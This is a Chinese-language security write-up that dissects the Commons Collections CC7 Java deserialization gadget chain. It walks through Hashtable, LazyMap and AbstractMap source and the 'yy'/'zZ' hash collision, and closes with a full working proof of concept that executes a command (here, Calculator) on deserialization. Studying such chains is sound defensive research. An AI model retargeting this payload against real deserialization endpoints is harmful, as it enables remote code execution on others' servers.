1. CommonsCollections7利用链分析
这个利用链也是一个调用LazyMap.get方法触发ChainedTransformer.transform方法从而执行命令的利用链。触发命令执行的调用栈如下：
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
....省略....
可以看到，为了触发LazyMap.get，CC7中作者使用了Hashtable。通过Hashtable的readObject方法在反序列化过程中触发LazyMap.get。先简单了解一下Hashtable类。
1.1 Hashtable
Hashtable通过键值对的方式存储对象。它的内部维护了一个table变量，并将数据存储在table中。table变量的声明如下：
private transient Entry<K,V>[] table;
可以看到table变量使用了transient关键字来声明序列化时不保存该变量。而事实上，在我们观察一下Hashtable.get方法：
public synchronized V get(Object key) {
Entry tab[] = table;
int hash = hash(key);
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
return e.value;
}
}
return null;
}
可以看到就是在计算一个key的hash值，然后换算成对应的index直接从table中读取数据。而其序列化过程中又不会保存table变量，因此反序列化时就需要重建table变量。Hashtable.readObject方法代码如下：
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
...省略...
Entry<K,V>[] newTable = new Entry[length];//新建一个newTable
...省略...
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {//循环读入键值对并放入newTable
K key = (K)s.readObject();
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(newTable, key, value);
}
this.table = newTable;
}
可以看到该方法中，循环读入每一个键值对，然后调用reconstitutionPut方法将键值对放入newTable中，最后再把newTable赋值给this.table以供后续使用。而真正触发Lazymap.get的方法就在reconstitutionPut中，我们跟进该方法：
private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
//可以看到它需要保证新存入的key不在表中，毕竟hash表中不允许出现key相同的两个值
int hash = hash(key);//计算key的hash
int index = (hash & 0x7FFFFFFF) % tab.length;//计算key对应的index
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {//循环表中现有元素
if ((e.hash == hash) && e.key.equals(key)) {//对比是否hash相同并且key也相同，而真正触发代码就在这里
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
Entry<K,V> e = tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
HashTable.reconstitutionPut方法中，对每一个新加入的键值队，都要对比是否已经存在相同的键，毕竟按理来说Hash表中不应该存在键相同的键值对，因此这里需要对比key是否相同。而作者在这里以LazyMap作为key，因此会调用LazyMap.equals方法。查看LazyMap类发现其中并没有equals方法，而LazyMap继承了AbstractMapDecorator类。因此这里调用的是AbstractMapDecorator.equals，该方法代码如下：
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}
可以看到在该方法内部又调用了map.equals。而这个map变量事实上，在调用LazyMap.decorate方法构造LazyMap实例的时候就已经指定：
public static Map decorate(Map map, Transformer factory)
也就是这里传入的Map参数。作者构造Lazymap时代码如下：
Map innerMap1 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
因此这里的map.equals调用的是HashMap.equals。这里HashMap类其实也没有单独写equals方法，因此调用的是它的父类AbstractMap的equals方法。AbstractMap方法的代码如下：
public boolean equals(Object o) {
...省略...
//最开始调用比较的代码中，e.key.equals(key)，key是lazyMap
Map<K,V> m = (Map<K,V>) o;//就是传入参数key，因此m也就是lazyMap
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {//循环当前Map中每一个条目，如果只放入了两个元素，那么显然第一进行比较时当前Map就是lazyMap1所对应的Map，而m则是lazyMap2。
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {//可以看到这里不管value是不是null都会调用m.get(key)
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
...省略...
}
可以看到，这里会调用m.get(key)，也就是lazyMap.get方法。这里由于value显然是不等于null的因此就会进入if (!value.equals(m.get(key)))，从而触发发LazyMap.get方法。但是这里面有个坑，在reconstitutionPut方法中：
if ((e.hash == hash) && e.key.equals(key))
代码从左向右执行，会先比较二者hash是否相等。在与条件下，如果二者哈希相等才会执行后面的e.key.equals(key)。那么如何保证二者hash相等呢？其实是需要追这个hash函数的。lazyMap里作者put的两个键值对并不是随便选的，这里其实会调用到AbstractMap.hashCode方法，总的来说就是把每一项取出来键和值分别计算hashCode然后做异或运算再累加。这里我们的键是String类，而值存的是int类。因此会分别调用String和int的hashcode方法。作者放入lazymap的值都是1因此不需要关注int的hashcode方法，只需要看看String的hashcode方法：
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
可以看到这并不是什么神奇的单向散列，就是个累加。所以这里选择添加的yy和zZ并不是随便选的，这两个String计算hash后值是相等的。
lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1);
还有一个地方需要注意的就是为什么需要lazyMap2.remove("yy");。主要是因为hashtable.put(lazyMap2, 2);调用了HashTable.put方法，该方法代码如下：
public synchronized V put(K key, V value) {
...省略...
Entry tab[] = table;
int hash = hash(key);
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
V old = e.value;
e.value = value;
return old;
}
}
...省略...
}
可以看到这里也调用了e.key.equals(key)，因此会触发Lazymap.get方法，而最开始我们设置的transformer空的transformer，而空transformer默认的transform方法就是返回对象本身。
最终完整的利用链代码如下：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7Test {
public static void main(String[] args) throws NoSuchFieldException, IOException, ClassNotFoundException, IllegalAccessException {
// Reusing transformer chain and LazyMap gadgets from previous payloads
String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
final String[] execArgs = new String[]{command};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
//这两个put的条目要保证hash相等
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);//会触发equal，从而触发lazymap.get，会向lazyMap2添加一个yy->yy条目
//设置真正的iTransformers
Field iTransformersField = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(transformerChain,transformers);
// 删除put时添加的yy条目
lazyMap2.remove("yy");
//序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashtable);
//反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}